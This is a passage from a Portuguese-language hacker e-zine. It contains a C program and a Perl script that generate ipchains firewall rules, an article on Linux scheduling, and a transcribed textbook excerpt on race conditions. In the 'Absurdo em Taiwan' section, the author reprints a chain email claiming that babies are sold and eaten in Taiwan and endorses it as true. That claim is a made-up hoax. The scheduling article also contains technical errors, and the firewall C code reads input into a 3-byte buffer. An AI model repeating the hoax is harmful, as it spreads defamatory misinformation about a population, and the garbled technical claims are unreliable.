Ponha nesse script a permisao de execucao "chmod +x rc.firewall", 
coloque-o dentro do "/etc/rc.d" ou onde preferir:), e acrescente 
a seguinte entrada ao seu rc.local(/etc/rc.d/rc.local):
"/etc/rc.d/rc.firewall". Pronto, o firewall vai ser reinicializado
sempre com o sistema.

PS.: Se preferir mude os IP's destino(-d) por 0.0.0.0/0 ou 0/0 ;)
que quer dizer basicamente, qlq destino.


* Morfeu Firewall v0.1

Aih vai tambem um programa em C feito pelo Morfeu que automatiza
bastante o processo, e eh bastante simples, e util pra quem teve
uma maior dificuldade de entender e pra quem nao teve tambem, 
uma outra boa base pro pessoal. Ele eh para o "ipchains". Compile
e responda "sim" ou "nao", e pronto!!! Seu firewall esta montado. 
Veja...



<++> firewall/morfeufirewall.c

/*
 *
 * Morfeu Firewall v0.1
 *
 * Essa ferramenta foi escrita visando aumentar a seguranca
 * de usuarios do Slackware Linux 8.0 com kernel 2.2.19.
 * Muitos servicos sao habilitados como padrao e isso eh prato
 * cheio pra script kids fazerem a festa no seu sistema.
 *
 * As portas sao filtradas utilizando regras de ipchains, sendo
 * assim, uma vez configurada, nao precisara mais ser executada.
 * Para desfazer as configuracoes da firewall, digite o comando
 * ipchains -F na shell.
 *
 * Eu obtive a lista de servicos e suas respectivas portas
 * olhando o arquivo /etc/services
 * Esse arquivo contem todos os servicos que usam portas
 * tcp e udp do Slackware Linux 8.0
 * Essa ferramenta nao filtra todas as portas la citadas porque
 * muitas nao estabelecem conexao ou nao estao ativadas como
 * padrao, resolvi fechar as mais comuns tais como portas do ftpd,
 * sendmaild, fingerd, telnetd e outras...
 *
 * Sinta-se a vontade para melhorar a ferramenta mais mantenha
 * os creditos e se possivel, entre em contato comigo.
 *
 * Compile com: gcc -o firewall morfeu_firewall.c
 * Execute com: ./firewall
 *
 * Site: http://www.morfeu.n3.net
 * E-mail: morfeu@mail.ru
 *
 */

/*
 *
 * Modificado por Hophet
 * Site: http://www.movl.cjb.net
 * Email: hophet@unsekurity.com.br
 *
 * Foi acrescentado algumas regras, e acrescentado um processo
 * de armazanamento das regras para que as mesmas possao ser
 * iniciadas sempre com o reinicio do sistema, e nao sejam
 * perdidas ao se desligar o sistema.
 * E se por algum acaso for preciso, acrescentar uma regra, eh
 * soh rodar o executavel novamente, e a configuracao nova sera
 * feita e aplicada. Antes de reexecuta-lo tire a ultima entrada
 * do rc.local, para que a mesma nao fique repetida e se crie as
 * mesmas regras duas vezes.
 *
 * PS.: Tem que se estar como root p/ executa-lo e ser aplicada
 * as regras.
 *
 * w2x own'z ... ;)
 * http://www.write2execute.cjb.net
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{

char resposta[3];

FILE *firewall;

firewall = fopen("/etc/rc.d/rc.firewall","w");

system("/usr/bin/clear");

printf("Morfeu Firewall v0.1\n\n");

fprintf(firewall,"#!/bin/sh\n");
fprintf(firewall,"echo Iniciando Firewall...\n");

printf("Desaja filtrar pacotes ICMP evitando PINGS? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p icmp -s 0/0 -d 0/0 -j DENY\n");

printf("Deseja fechar o daemon do Bind (named) (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0) {
fprintf(firewall,"ipchains -A input -p udp -s 0/0 -d 0/0 53 -j DENY\n");
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 53 -j DENY\n");
}

printf("Deseja filtrar a porta 6000 aberta pelo X? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 6000 -j DENY\n");

printf("Deseja fechar o daemon do ftp? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 21 -j DENY\n");

printf("Deseja fechar o daemon do ssh? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 22 -j DENY\n");

printf("Deseja fechar o daemon do telnet? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 23 -j DENY\n");

printf("Deseja fechar o daemon do sendmail (SMTP)? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 25 -j DENY\n");

printf("Deseja fechar o daemon do sendmail (POP3)? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 110 -j DENY\n");

printf("Deseja fechar o daemon do finger? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 79 -j DENY\n");

printf("Deseja fechar o daemon do apache (servidor web)? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 80 -j DENY\n");

printf("Deseja fechar o daemon do sunrpc? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 111 -j DENY\n");

printf("Deseja fechar o daemon do auth? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 113 -j DENY\n");

printf("Deseja fechar o daemon do netbios-ssn? (sim/nao): ");
scanf("%s",&resposta);
if (strcmp(resposta,"sim") == 0)
fprintf(firewall,"ipchains -A input -p tcp -s 0/0 -d 0/0 139 -j DENY\n");

fprintf(firewall,"echo Firewall Iniciado com Sucesso!!!\n");

fclose(firewall);

system("/bin/chmod 700 /etc/rc.d/rc.firewall");

system("/bin/echo '/etc/rc.d/rc.firewall' >> /etc/rc.d/rc.local");

system("/etc/rc.d/rc.firewall");

system("/usr/bin/clear");

printf("Configuracao completa!\n");
printf("Firewall Iniciado!!!\n");

}

<-->



Compile com:

bash-2.03# gcc morfeufirewall.c -o firewall
bash-2.03# ./firewall

Pronto, agora eh soh responder sim ou nao, nas perguntas,
simples nao?? hehehe. Ele ira criar as regras de acordo com
as perguntas, para ver todas as regras criadas, digite no 
console "ipchains -L".  


E aih vai um Script perl enviado pelo nosso amigo Morfeu,
o seu trabalho eh basicamente de scanear a sua maquina a
procura de portas abertas e fechalas depois de uma pergunta.
Veja:

<++> firewall/m_firewall_v2.pl

#!/usr/bin/perl -w

#Morfeu Firewall v2.0
#
#Essa ferramenta foi escrita visando a seguranda dos usuarios
#de distribuicao linux (qualquer uma) que trazem habilitados
#varios servicos como padrao. Prato cheio pra script kids fuderem
#seu sistema.
#
#Essa eh a versao 2.0 da minha firewall e foi feita em perl
#A primeira versao foi feita em C e filtrava portas pre-definidas
#por mim dentro do codigo fonte. Essa nova versao passa um
#scan local e quando acha uma porta aberta, pergunta se
#voce quer filtrar e filtra ou nao.
#
#Sinta-se a vontade para melhorar a ferramenta mais mantenha
#os creditos e se possivel, entre em contato comigo.
#
#Execute com: perl morfeu_firewall_v20.pl

#Site: http://www.morfeu.n3.net
#E-mail: morfeu@mail.ru

use Socket;

print "Morfeu Firewall v2.0\n\n";
$ip="localhost";

$inicio="1";

$fim="65535";

print "Scaneando da porta $inicio ate $fim\n";

$atual=$inicio;
while($atual < $fim)
{
&scan($atual);
$atual++;
}

print "Pronto!\n";

sub scan
{
$port = shift(@_);

if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
die("Especifique uma porta") unless $port;
$iaddr = inet_aton($ip) || die("Nao consigo achar: $ip");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) 
|| die("Nao consigo abrir o socket: $!");
if(connect(SOCK, $paddr))# || die("Impossivel conectar em: $!");
{
print "A porta $port esta aberta, deseja filtra-la? (sim/nao)\n";

$resposta=<stdin>;

if ($resposta =~ "sim")
{
system "ipchains -A input -p tcp -s 0/0 -d 0/0 $port -j DENY";
}

}
close(SOCK);
}

exit;

<-->


6 - Finalizando
---------------


Eh pessoal, qlq duvida sobre os assuntos discutidos na secao 
mande um email. Espero ter sido bem claro nas colocacoes, e 
na edicao que vem tem mais =)



- end of Firewall - 







          /* ++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                    * ____....
      ..__ *       [06] Absurdo em Taiwan       * ___...
    ...___ *            Por Hophet              * __..
  ....____ *                                    * _.
....._____ * ++++++++++++++++++++++++++++++++++ */




Tah, o assunto tah fora do topico e do sentido da zine, mas assima
de tudo a zine tem a responsabilidade de nao soh faze-los crescer
no conhecimento tecnico, mas faze-los crescer como pessoa, individuos, 
respeitando os valores da vida humana.

Como esta dizendo o Topica desta secao, em Taiwan esta acontecendo um
dos maiores atentados a vida humana, um dos maiores desrrespeito a 
comunidade mundial. Veja este Sequinte email:


 "CUIDADO AO ABRIR EH CHOCANTE
 
 Preste atencao neste absurdo que estah acontecendo em Taiwan.
 Eh um grande atentado a todos os principios da raca humana.

 Perdoe-nos, pelas fotos explicitas, mas temos que ficar consciente
 do que esta acontecendo neste mundo.
 
 TRADUCAO
 
 Folha 1.
 Nao se assuste!
 Veja alguns fatos que ocorrem neste mundo.
 O que vc esta testemunhando aqui eh um fato.
 Eh a comida mais quente de Taiwan.
 
 Folha 2.
 Em Taiwan, bebes mortos ou fetos poden ser comprados
 de hospitais por valores que variam de US$ 50 a 
 US$ 70 p/ atender a alta demanda por bebes grelhados
 e churrasco de bebes.
 Que triste estado de coisas!!!

 Folha 3.
 Por favor, encaminha esta mensagem ao maior numero possivel 
 de pessoas p/ que isto possa ser visto pelo mundo e alguem
 tome alguma providencia. Trata-se de algo contra a raca 
 humana e se a gente nao se unir p/ erradicar este costume, 
 isto nao terminarah. Mesmo que a palavra impossivel diga que
 isto eh impossivel, isto esta acontecendo!!!"
 
 De: Frederico Ataide. <frederico.ataide@garoto.com.br>


A questao eh, onde nos vamos parar??! 
Para vc ter uma ideia eles estao vendendo o "cerebro" das criancas
enlatadas no supermercado, como se fosse simples vidros de palmito
na pratileira, nos restaurantes da cidade pessoas comen assados ou 
grelhados o corpo das criancas, eh uma coisa orrivel. Nas fotos do 
links abaixo vc vai ver tudo isso e um pouco mais.

Onde quero chegar ??! Serah que nos, seres "racionais" estamos 
fazendo certo com isso?? Temos que paralos de alguma forma eles
nao podem continuar com estes atos. O meu pedido eh que usemos
todos os nossos "contatos" p/ levar esta informacao a todos os
meios de comunicacao p/ que o mundo possa ver e fazer algo em
favor da preservacao ao respeito a humanidade. Nos(O mundo)
temos poder para mudar isso. Obrigado desde jah, e que isso nao
fique com estas palavras minhas, mas com atos de todos nos.


O links para as fotos sao:
http://VOU FICAR DEVENDO INFELISMENTE OU FELISMENTE NAO 
http://CONSEGUI. ASSIM QUE CONSEGUIR, EU AS PASSO A VCS. 


- end of Abs. Taiwan - 

   




          /* ++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                  * ____....
      ..__ *     [07] Scheduling do Linux     * ___...
     ..___ *          Por eSc2                * ___..
    ..____ *          <esc2@embranet.net      * __..
  ....____ *                                  * _.
....._____ * ++++++++++++++++++++++++++++++++ */




 
#
# Materia sobre o scheduling do Linux.
#
#     Escrito por Lucas Mendes a.k.a eSc2
#
# <esc2@embranet.net>
# http://www.write2execute.cjb.net/

#
# Linux i386 como objeto de estudo.
#

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Introducao )))))))))))))))

Olah, eu sou Lucas Mendes a.k.a eSc2, seu anfitriao nessa
pequena jornada que serah nosso estudo sobre o sistema
operacional Linux.
Palavras nao comumente usadas no cotidiano, estao
descritas na secao "Em outras palavras..".


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Usuario e Kernel )))))))))

A memoria esta dividia em 2 partes, area da kernel (Kernel
Area) e area dos usuarios (User Area), esta divisao eh
feita pela GDT, que ajuda o sistema operacional com a tarefa
de protecao de memoria, para que os usuarios nao consigam
mexer e/ou mudar algo nos dados alocados pela kernel ou outros
programas com intencoes maliciosas.
A outra area citada, a do usuario estah subdividida em varias
"sub-areas", uma para cada nivel de acesso (uid), chamadas LDT,
isso evita por exemplo, que o usuario "Hophet", tente acessar
dados alocados na memoria pelo usuario "eSc2", jah que eles
estao na mesma User Area. Como veem a LDT e GDT sao muito
importantes para um sistema Unix seguro.

Os programas rodam em User, mas e para programar em Kernel?
Para isso temos as LKMs, onde se tem total permicao de acesso
as areas e dispositivos do soft e hardware. Nao eh intencao
deste texto se aprofundar neste tema, para isso, leia o meu
texto sobre LKMs, disponivel em <http://www.write2execute.cjb.net/>,
ou outros disponiveis na grande rede.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- System calls )))))))))))))

O Linux segue o padrao Posix de system calls, o mesmo
adotado pelos BSDs e Unix-Likes mais atuais, uma lista
completa destas system calls pode ser encontrada na pagina
<http://www.write2execute.cjb.net/>, no link "Informacao".
As system calls sao meios disponibilizados pelo Linux para
que possamos criar programas que rodem na area do usuario.
As system calls acessam rotinas disponibilizadas pela Kernel
Area, para que possam ser usadas pela User Area. Quase tudo
no Linux usa System Calls, se voce quiser exibir um "Oi!"
na console corrente, deverar utilizar a System Call SYS_write
para escrever em STDOUT; nao entendeu? Vamos mais adiante
que vai entender! :-)

O Linux reserva a interrupcao de system call numero 0x80 no
processador, para que a LIB possa utiliza-la para criar as
demais funcoes padroes de uma LIB-C. Sem elas nao existe
forma padronizada de programacao em um Unix, e os binarios
ficariam enormes, pois, tais funcoes sao "publicas", estando
disponiveis a qualquer programa que queira acessa-la; o que
ocasiona em menos dados a serem carregados no binario
executavel.
O printf() eh um exemplo de funcao que se encontra publica
na LIB-C.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Memory Menanger ))))))))))

Como voces devem saber, um programa na memoria do usuario
eh dividida em 4 pedacos basicos:

	.TEXT	-> Onde ficam os codigos de execucao.
		 > este local tem permicoes PROC_EXEC e
		 > PROC_READ. (duvidas? man mmap)

	.DATA	-> Onde ficam os dados jah alocados 
		 > (ponteiros, strings..), possui permicoes
		 > PROC_READ e PROC_WRITE.

	.BSS	-> Onde ficam os dados que serao alocados
		 > no futuro. Tem permicoes PROC_READ e
		 > PROC_WRITE.

	.STACK	-> Segmento de pilha, possui permicoes
		 > PROC_READ e PROC_WRITE.

O MM (gerenciador de memoria), disponibiliza o kmalloc()
para que a kernel possa alocar dados na .BSS, essa area
eh mapeada por um recurso do processador chamado PAGINACAO,
onde a memoria eh dividida em tabelas de 4 em 4 kilobytes.
O kmalloc() possui um relativo na area do usuario, chamado
malloc(), que serve para o mesmo proposito, porem, alocando
na .BSS do usuario, e nao da kernel.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Kernel (Scheduling) ))))))

Chegamos em um ponto interessante, a parte de multitarefa
do Linux, esta eh feita de uma forma padrao (padrao, nao
igual), usando uma ferramente disponibilizada pelos
processadores baseados no Intel 80386, a TSS, onde salva o
estado da maquina no momento em que ouve a troca da execucao
para o proximo TASK.
O algorritimo de agendamento (scheduling) tem uma
estructura para cada processo ativo, com todas as informacoes
do mesmo, incluindo estado da CPU, esta estructura eh chamada
struct task_struct *current;
A kernel seta uma interrupcao de timer que a cada certa
quantidade de tempo (em milisegundos) faz um TICK, a cada
TICK, a mesma chama uma rotina que salva os registradores
do processador na struct thread_struct *tss; (usada dentro
da struct task_struct *current;), carrega "current->next;"
identica a "current", que aponta para a proxima tarefa.

Um exemplo simples parecido com o esquema de agendamento
do Linux vai abaixo:


<++> shed/agend.c

struct thread_struct {

	/* aqui vem a declaracao dos registradores
	 * e demais informacoes que terao que ser
	 * salvas no momento do TICK
	 */

};

struct task_struct {

       struct task_struct *next;     /* aponta para o proximo task */
       struct task_struct *previous; /* aponta para o task anterior */

       struct thread_struct tss;     /* possui o estado do processador */

       uid_t uid;	             /* obvio :-) */
       uid_t euid;
       gid_t gid;
       gid_t egid;
       pid_t pid;	             /* pid do processo */
};	

/*
 * chamado pelo timer
 */
void sched(void)
{
     salva_os_registradores();	/* salva o estado da cpu em
				 * current.tss;
				 */
     current=current->next;
     atualiza_os_registradores_para_os_do_proximo_task();
	                  	/* a funcao acima, retira os
				 * dados de current.tss para os
				 * respectivos registradores da cpu */
     pula_para_o_proximo_task();
}

<-->



Pode parecer simples, mas nao eh, thread_struct eh enorme hehehe
task_struct e ateh mesmo a funcao sched().. nem comento! :-), mas
este esquema que fiz acima demonstra claramente como fuciona o
algoritimo de escalonamento (agendamento) do Linux.
Estas estruturas acima descritas, podem ser encontradas declaradas
no arquivo /usr/include/linux/sched.h.

A kernel tambem disponibiliza system calls para gerenciamento
de tarefas, como as seguintes:

	SYS_sleep	-> Informa a kernel, que o processo
			 > estah dormindo, e nao precisa ser
			 > executado. Em determinadas situacoes
			 > em que o processo estah esperando
			 > algum retorno de alguma coisa,
			 > faze-lo dormir, pode economizar
			 > ciclos do processador, ocasionando
			 > em um sistema mais rapido.

	SYS_wackup	-> Acorda um processo que esteja dormindo.

	SYS_fork	-> Cria um novo processo filho, identico
			 > ao mae que o criou.

	SYS_thread	-> Parecido com o SYS_fork, mas aqui nao
			 > criamos processos filhos, e sim
			 > sub-processos, que realmente pertecem
			 > ao processo que o criou.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Finalizando ))))))))))))))

Bem amigos, fico por aqui, a falta de tempo nao me deixa
escrever mais no momento, porem, oportunidades nao faltarao
para que publique mais artigos na zine :-), dentre os quais
nas proximas edicoes devo estar comentando sobre:

* Linux Kernel Modules.

	Objetos exportados.
	/proc/ksyms
	Programacao em kernel.
	copy_from_user() e demais..
	Etc..

* Sistema de arquivos imagem /proc.

	Informacoes sobre PIDs.
	Sets de rede e configuracoes gerais.
	Informacoes sobre o processador.
	E demais informacoes disponibilizadas pelo /proc.

* Sistema de arquivos.

	Bufferizacao.
	Handles de arquivos.
	Permicoes.
	E etc..

Ateh lah! ;)

				Lucas Mendes a.k.a eSc2


((((((( Em outras palavras.. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 GDT		: Global Descriptor Table, tabela global
		  de descritores.
 LDT		: Local Descriptor Table, tabela local de
		  descritores.
 IDT		: Interrupt Descriptor Table, tabela de
		  descritores de interrupcao.
 STDOUT		: Saida padrao, normalmente TTY em que o
		  programa estah rodando.
 __NR_algo	: Entrada de system call, usada normalmente
		  pela funcao sys_call_table() da kernel.
 SYS_algo	: Relativo ao __NR_algo.
 LKM		: Linux Kernel Module, modulo de kernel do
		  Linux.
 LIB		: Blibioteca de funcoes.
 LIB-C		: Blibioteca de funcoes de usuario dos Unix.
 Interrupcao	: Meio disponibilizado pelos processadores
		  para facilitar a criacao de programas para
		  os sistemas operacionais, existem varios
		  tipos de interrupcoes, entre elas as de
		  Timer e as de system call, usada inclusive
		  pelo Linux.
 MM		: Memory Mananger, gerenciador de memoria.
 TSS		: Task Struct Segmento, segmento de estrutura
		  de tarefa, ferramenta de multitarefa
		  disponibilizada pelos processadores baseados
		  em Intel 80386.
 TASK		: Tarefa do sistema operacional, pode ser do
		  usuario ou da kernel.





- end of scheduling -

 






          /* ++++++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                        * ____....
      ..__ *    [08] Race Conditions - Tenenbaum    * ___...
     ..___ *         Por Blood_Sucker               * ___..
    ...___ *         <blooding@punkmail.com>        * __..
  ....____ *                                        * _.
....._____ * ++++++++++++++++++++++++++++++++++++++ */



* Indice:
  -------

1 - Introducao.
2 - Race Conditions.
3 - Secoes Criticas.
4 - Exclusao Mutua com Espera Ativa.
5 - Desativando as Interrupcoes.
6 - Variaveis de Bloqueio.
7 - Alternancia Escrita.
8 - A Solucao de Peterson.
9 - A Instrucao TSL.
 


1 - Introducao
--------------

Galera, eh o seguinte. Como eu e o hophet estamos pesquisando 
bastante na area de race conditions e repassando pra vcs, achei 
interessante colocar tambem aki um pedaco de um livro que eu 
tenho, no qual fala de race conditions. O livro eh 'Sistemas 
Operacionais - Projeto e Implementacao' e foi escrito por Andrew 
Tenenbaum(criador do minix) e Albert Woodhull. Este livro eh 
excelente, ele explica muita coisa sobre como um sistema operacional
eh estruturado. O livro usa como exemplo, o sistema operacional 
Minix 2.0, q eh o sistema do qual o Linus Torvalds se baseou pra
fazer o linux. Eh um excelente sistema, escrito em 27 mil linhas 
em linguagem C. Eu recomendo a leitura deste livro, principalmente 
pra quem ta afim de estudar sistemas operacionais, ou ateh fazer um.
Bom, o livro eh um pouco caro, cerca de 90 reais, e eh por este 
motivo q eu resolvi digitar esta parte da qual fala de race conditions.
Pq nao sao todos q tem a oportunidade de comprar um livro desses, 
embora o seu preco seja micharia em relacao ao conhecimento q ele 
passa =]. Outro bonus do livro eh q ele mostra o source INTEIRO do
minix no final do livro(cerca de 300 paginas soh de codigos) e 
totalmente comentado em portugues. Alem de acompanhar um cd com o
minix 2.0. Eh excelente mesmo. Bem, xega de conversa fiada, esta 
secao q eu digitei aki se encontra a partir da pagina 53.

PS.: NAO FUI EU QUEM ESCREVI, EU SOH DIGITEI. Gostaria de deixar 
isso bem claro antes que me chamem de ripador, farsante, 
plagista ou sei la o q mais. 

------------------------------------------------------------------



2 - Race Conditions 
-------------------

Em alguns sistemas operacionais, processos que estao trabalhando 
juntos podem compartilhar algum armazenamento comum que cada um pode 
ler e gravar. O armazenamento compartilhado pode estar na memoria 
principal ou pode ser um arquivo compartilhado; a localizacao da 
memoria compartilhada nao muda a natureza da comunicacao ou os 
problemas que surgem. Para ver como a comunicacao interprocesso
(IPC) funciona na pratica, consideraremos um exemplo simples mas 
comum, um spooler de impressao. Quando um processo quer imprimir 
um arquivo, ele insere o nome de arquivo em um diretorio de spooler
especial. Outro processo, o servidor de impressao, verifica periodica-
mente se ha qualquer arquivo a ser impresso e, se houver, ele os 
imprime e, entao, remove seus nomes do diretorio. Imagine que nosso 
diretorio de spooler tenha uma grande(potencialmente infinito) 
numero de entradas, numeradas de 0, 1, 2, ..., cada uma capaz de 
armazenar um nome de arquivo. Imagine tambem que haja duas variaveis
compartilhadas: out, que aponta para o proximo arquivo a ser impresso, 
e in, que aponta para a proxima entrada livre no diretorio. Essas 
duas variaveis podem ser mantidas em um arquivo de duas palavras 
disponivel para todos os processos. Em um certo instante, as entradas 
0 a 3 estao vazias(os arquivos ja foram impressos) e as entradas 4 a 6 
estao cheias(com os nomes colocados na fila de impressao). Mais ou 
menos simultaneamente, os processos A e B decidem que querem colcocar
um arquivo na fila de impressao. Essa situacao eh mostrana da figura 
2-7.


Figura 2-7.
Dois processos querem acessar a memoria compartilhada ao mesmo tempo.


                          |     .    |
                          |     .    |
                          |----------|     +-----------+
                        4 |   abc    |     |  out = 4  |
     +------------+       |----------|     +-----------+
     | Processo A |     5 |  prog.c  |     
     +------------+       |----------|
                    \   6 |  prog.n  |
                      \   |----------|     +-----------+
                        7 |          |     |   in = 7  |
     +------------+   /   |----------|     +-----------+
     | Processo B | /     |          |
     +------------+       |----------|
                          |     .    |
                          |     .    |



Em situacoes onde a lei de Murphy(Se algo pode dar errado, dara) eh 
aplicavel, pode acontecer o seguinte. O processo A le in e armazena 
o valor, 7, em uma variavel local chamada next_fre_slot. Soh que, 
entao, ocorre uma interrupcao de relogio, e a CPU decide que o proce
sso A executou por tempo suficiente, e, entao, alterna para o processo
B. O processo B tambem le in, e tambem recebe um 7, entao, ele armazena
o nome de seu arquivo no slot 7 e atualiza in para que ele seja 8. 
Entao, ele segue adiante e faz outras coisas. Por fim, o processo A 
executa novamente, uniciando do lugar em que parou. Ele examina 
next_fre_slot, encontra um 7 ai ele escreve seu nome de arquivo na 
entrada 7, apagando o nome que o processo B acabou de colocar ali. 
Entao, ele calcula next_free_slot + 1, o que da 8, e define in como 8. 
O diretorio do spooler esta agora internamente consistente, portanto, 
o servidor de impressao nao notara nada de errado, mas o processo B 
nunca realizara qualquer saida. 

Situacoes como essa, em que dois ou mais processos estao lendo ou 
gravando alguns dados compartilhados, e o resultado final depende 
de quem executa precisamente quando, sao chamadas de race conditions. 
Depurar programas contendo race conditions nao eh nada divertido. 
Os resultados da maioria dos testes sao bons, mas, de vez em quando, 
acontece algo estranho e inexplicavel.



3 - Secoes Criticas
-------------------

Como evitamos as race conditions?? A chave para prevenir problemas 
aqui e em muitas outras situacoes envolvendo memoria compartilhada, 
arquivos compartilhados e tudo mais compartilhado eh encontrar alguma 
maneira de proibir que mais de um processo leia e grave os dados 
compartilhados ao mesmo tempo. Dito em outras palavras, precisamos 
de uma exclusao mutua - uma maneira de certificarmo-nos de que se um 
processo esta utilizando um arquivo ou variavel compartilhado, os 
outros processos serao impedidos de fazer a mesma coisa. A dificuldade 
acima ocorria porque o processo B comecava utilizando uma das variaveis
compartilhadas antes de o processo A ter acabado de trabalhar com ela. 
A escolha das operacoes primitivas apropriadas para obter a exclusao 
mutua eh uma questao de projeto importante em qualquer sistema 
operacional e um assunto que examinaremos detalhadamente na secoes a 
seguir. 

O problema de evitar as race conditions tambem pode ser reformulado 
de uma maneira abstrata. Parte do tempo, um processo fica ocupado 
fazendo computacoes internas e outras coisas que nao conduzem a race 
condition. Entretanto, as vezes, um processo pode estar acessando 
memoria compartilhada ou arquivos compartilhados, ou fazer outras 
coisas criticas que podem levar a race conditions. Essa parte do 
programa em que a memoria compartilhada eh acessada eh chamada de 
"regiao critica" ou "secao critica". Se pudessemos organizar os 
problemas de tal modo que nenhum dos dois processos jamais estivesse 
em suas regioes criticas ao mesmo tempo, poderiamos evitar as race 
conditions. Embora esse requisito evite as condicoes de corrida, isso 
nao eh suficiente para ter processos paralelos que cooperam correta e
efetivamente, utilizando dados compartilhados. Precisamos sustentar 
quatro condicoes para ter uma boa solucao:

1. Nenhum dos dois processos pode estar simultaneamente dentro de 
duas regioes criticas.

2. Nenhuma suposicao pode ser feita sobre as velocidades ou sobre o 
numero de CPUs.

3. Nenhum processo que executa fora de sua regiao critica pode 
bloquear outro processo.

4. Nenhum processo deve ter de esperar eternamente para entrar em 
sua regiao critica.



4 - Exclusao Mutua com Espera Ativa
-----------------------------------

Nesta secao, examinaremos varias propostas para obter exclusao mutua, 
de modo que enquanto um processo esta ocupado atualizando a memoria 
compartilhada em sua regiao critica, nenhum outro processo entraria 
em sua regiao critica para causar problemas.



5 - Desativando as Interrupcoes
-------------------------------

A solucao mais simples eh fazer cada processo desativar todas 
as interrupcoes imediatamente depois de ele entrar em sua regiao 
critica e reativa-las imediatamente depois de ele sair dela. 
Com as interrupcoes desativadas, nenhuma interrupcao de relogio 
pode ocorrer. A CPU soh alterna de um processo para outro como 
resultado de interrupcoes de relogio ou de outras interrupcoes; 
no final das contas, com as interrupcoes desligadas a CPU nao 
alternara de um processo para outro. Assim, uma vez que um processo
desativou as interrupcoes, ele pode examinar e atualizar a memoria 
compartilhada sem medo de que qualquer outro processo interfira.
Essa abordagem eh geralmente pouco atraente porque nao eh aconselhavel
dar o poder de desativar interrupcoes a proceesos de usuario. Suponha 
que um deles faca isso e nunca mais as ative novamente?? Isso poderia 
ser o fim do sistema. Se uma interrupcao ocorreu enquanto a lista de 
processos prontos, por exemplo, estava em um estado inconsistente, 
poderiam ocorrer race conditions. A conclusao eh: desativar interrupcoes
eh frequentemente uma tecnica util dentro do sistema operacional em si, 
mas nao eh apropriada como um mecanismo geral de exclusao mutua para 
processos de usuario.



6 - Variaveis de Bloqueio
-------------------------

Como uma segunda tentativa, vamos procurar uma solucao de software. 
Considere ter uma variavel unica compartilhada(bloqueio) inicialmente 
como 0. Quando um processo quer entrar em sua regiao critica, ele 
primeiro testa o bloqueio. Se o bloqueio for 0, o processo o define 
como 1 e entra na regiao critica. Se o bloqueio ja for 1, o processo 
apenas espera ateh ele tornar-se 0. Assim, 0 siginifica que nenhum 
processo esta em sua regiao critica e 1 significa que algum processo 
esta em sua regiao critica. Infelizmente, essa ideia contem exatamente 
o mesmo defeito fatal que vimos no diretorio do spooler. Suponha que o
processo leia o bloqueio e veja que ele eh 9. Antes de poder definir o 
bloqueio como 1, outro processo eh agendado, executa e define o bloqueio
como 1. Quando o promeiro processo executa novamente, ele tambem definira 
o bloqueio como 1, e os dois processos estarao em sua regioes criticas 
ao mesmo tempo. Agora voce pode pensar que proderiamos evitar esse 
problema lendo primeiro o valor de bloqueio e, entao, verificando-o 
novamente, imediatamente antes de armazenar nele, mas isso na verdade 
nao ajuda. A race condition agora ocorre se o segundo processo modifica 
o bloqueio imediatamente depois de o promeiro processo acabar de fazer 
sua segunda verificacao.



7 - Alternancia Escrita
-----------------------

Uma terceira abordagem para o problema de exclusao mutua eh mostrada 
na Figura 2-8.

Figura 2-8 - Uma solucao proposta para o problema da regiao critica.



<++> race/critic.c

     (a)                                     (b)

while(TRUE) {                           while(TRUE) {
  while(turn != 0) /* espera */;          while(turn != 1) /* espera */;
  critical_region();                      critical_region();
  turn = 1;                               turn = 0;
  noncritical_region();                   noncritical_region();
}                                       }

<-->



Esse fragmento de programa, como quase todos os outros neste livro, 
eh escrito em C. A linguagem C foi escolhida aqui, porque os sistemas 
operacionais reais comumente sao escritos em C(ou ocasionalmente C++),
mas quase nunca em linguagens como Modula 2 ou Pascal. Na Figura 1-8, 
a variavel de numero inteiro turn, inicialmente 0, monitora aquele de 
quem eh a vez(turn) de entrar na regiao critica e examinar ou atualizar
a memoria compartilhada. Inicialmente, o processo 0 inspeciona turn, 
